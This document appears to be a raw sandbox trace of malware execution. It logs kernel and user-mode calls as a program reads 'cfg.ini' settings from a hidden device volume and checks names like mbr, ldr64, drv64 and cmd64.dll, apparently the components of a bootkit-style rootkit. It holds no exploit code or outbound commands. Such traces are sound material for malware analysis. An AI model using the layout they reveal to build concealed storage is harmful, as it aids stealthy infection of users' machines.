[0125.715] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.715] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf9c60 [0125.715] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.715] KeLeaveCriticalRegion () [0125.715] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.715] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.715] KeEnterCriticalRegion () [0125.715] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.715] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.715] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.715] KeLeaveCriticalRegion () [0125.715] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.715] KeEnterCriticalRegion () [0125.715] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.715] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.715] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.715] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.715] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.715] IdePortDispatch () returned 0x103 [0125.716] KeWaitForMutexObject () returned 0x0 [0125.716] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.716] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.716] KeLeaveCriticalRegion () [0125.716] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.716] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.716] KeEnterCriticalRegion () [0125.716] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.716] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cd3000 [0125.716] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.716] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.716] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.716] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.716] IdePortDispatch () returned 0x103 [0125.716] KeWaitForMutexObject () returned 0x0 [0125.716] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.716] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.716] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.716] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.716] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.716] IdePortDispatch () returned 0x103 [0125.716] KeWaitForMutexObject () returned 0x0 [0125.716] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.716] KeLeaveCriticalRegion () [0125.716] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.717] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.717] KeEnterCriticalRegion () [0125.717] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.717] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.717] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.717] KeLeaveCriticalRegion () [0125.717] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.717] KeEnterCriticalRegion () [0125.717] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.717] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.717] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf6870, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.717] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.717] KeLeaveCriticalRegion () [0125.717] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.717] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.717] KeEnterCriticalRegion () [0125.717] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.717] ExFreePoolWithTag (P=0xfffffa8003bf9c60, Tag=0x0) [0125.717] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.717] KeLeaveCriticalRegion () [0125.717] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.717] ReleaseMutex (hMutex=0xf0) returned 1 [0125.717] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.717] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.717] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.717] KeEnterCriticalRegion () [0125.717] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.717] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.717] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.717] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.717] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.717] IdePortDispatch () returned 0x103 [0125.718] KeWaitForMutexObject () returned 0x0 [0125.718] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.718] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.718] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.718] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.718] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.718] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf93e0 [0125.718] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.718] KeLeaveCriticalRegion () [0125.718] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.718] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.718] KeEnterCriticalRegion () [0125.718] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.718] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.718] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.718] KeLeaveCriticalRegion () [0125.718] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.718] KeEnterCriticalRegion () [0125.718] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.718] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.718] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.718] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.718] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.718] IdePortDispatch () returned 0x103 [0125.718] KeWaitForMutexObject () returned 0x0 [0125.718] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.718] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.718] KeLeaveCriticalRegion () [0125.718] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.719] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.719] KeEnterCriticalRegion () [0125.719] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.719] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cd4000 [0125.719] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.719] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.719] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.719] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.719] IdePortDispatch () returned 0x103 [0125.719] KeWaitForMutexObject () returned 0x0 [0125.719] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.719] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.719] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.719] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.719] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.719] IdePortDispatch () returned 0x103 [0125.719] KeWaitForMutexObject () returned 0x0 [0125.719] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.719] KeLeaveCriticalRegion () [0125.719] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.720] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.720] KeEnterCriticalRegion () [0125.720] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.720] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.720] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.720] KeLeaveCriticalRegion () [0125.720] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.720] KeEnterCriticalRegion () [0125.720] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.720] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.720] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4410, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.720] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.720] KeLeaveCriticalRegion () [0125.720] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.720] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.720] KeEnterCriticalRegion () [0125.720] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.720] ExFreePoolWithTag (P=0xfffffa8003bf93e0, Tag=0x0) [0125.720] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.720] KeLeaveCriticalRegion () [0125.720] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.720] ReleaseMutex (hMutex=0xf0) returned 1 [0125.720] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.720] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0125.720] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.720] KeEnterCriticalRegion () [0125.720] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.720] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.720] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.720] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.720] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.720] IdePortDispatch () returned 0x103 [0125.721] KeWaitForMutexObject () returned 0x0 [0125.721] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.721] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.721] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.721] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.721] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.721] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf8a50 [0125.721] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.721] KeLeaveCriticalRegion () [0125.721] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.721] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.721] KeEnterCriticalRegion () [0125.721] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.721] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.721] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.721] KeLeaveCriticalRegion () [0125.721] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.721] KeEnterCriticalRegion () [0125.721] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.721] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.721] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.721] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.721] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.721] IdePortDispatch () returned 0x103 [0125.721] KeWaitForMutexObject () returned 0x0 [0125.721] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.721] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.721] KeLeaveCriticalRegion () [0125.721] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.721] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.721] KeEnterCriticalRegion () [0125.721] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.722] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cd5000 [0125.722] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.722] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.722] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.722] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.722] IdePortDispatch () returned 0x103 [0125.722] KeWaitForMutexObject () returned 0x0 [0125.722] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.722] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.722] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.722] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.722] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.722] IdePortDispatch () returned 0x103 [0125.722] KeWaitForMutexObject () returned 0x0 [0125.722] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.722] KeLeaveCriticalRegion () [0125.722] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.723] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.723] KeEnterCriticalRegion () [0125.723] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.723] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.723] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.723] KeLeaveCriticalRegion () [0125.723] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.723] KeEnterCriticalRegion () [0125.723] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.723] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.723] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf9f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.723] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.723] KeLeaveCriticalRegion () [0125.723] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.723] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.723] KeEnterCriticalRegion () [0125.723] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.723] ExFreePoolWithTag (P=0xfffffa8003bf8a50, Tag=0x0) [0125.723] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.723] KeLeaveCriticalRegion () [0125.723] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.723] ReleaseMutex (hMutex=0xf0) returned 1 [0125.723] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0125.723] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0125.723] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0125.723] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.723] KeEnterCriticalRegion () [0125.723] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.723] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.723] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.723] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.723] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.723] IdePortDispatch () returned 0x103 [0125.723] KeWaitForMutexObject () returned 0x0 [0125.723] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.724] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.724] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.724] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.724] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.724] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.724] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.724] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.724] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.724] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.724] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.724] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.724] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.724] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.724] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.724] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.724] KeLeaveCriticalRegion () [0125.724] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.724] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0125.724] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.724] KeEnterCriticalRegion () [0125.724] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.724] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.724] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.724] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.724] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.724] IdePortDispatch () returned 0x103 [0125.724] KeWaitForMutexObject () returned 0x0 [0125.724] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.724] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.724] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.724] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.724] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 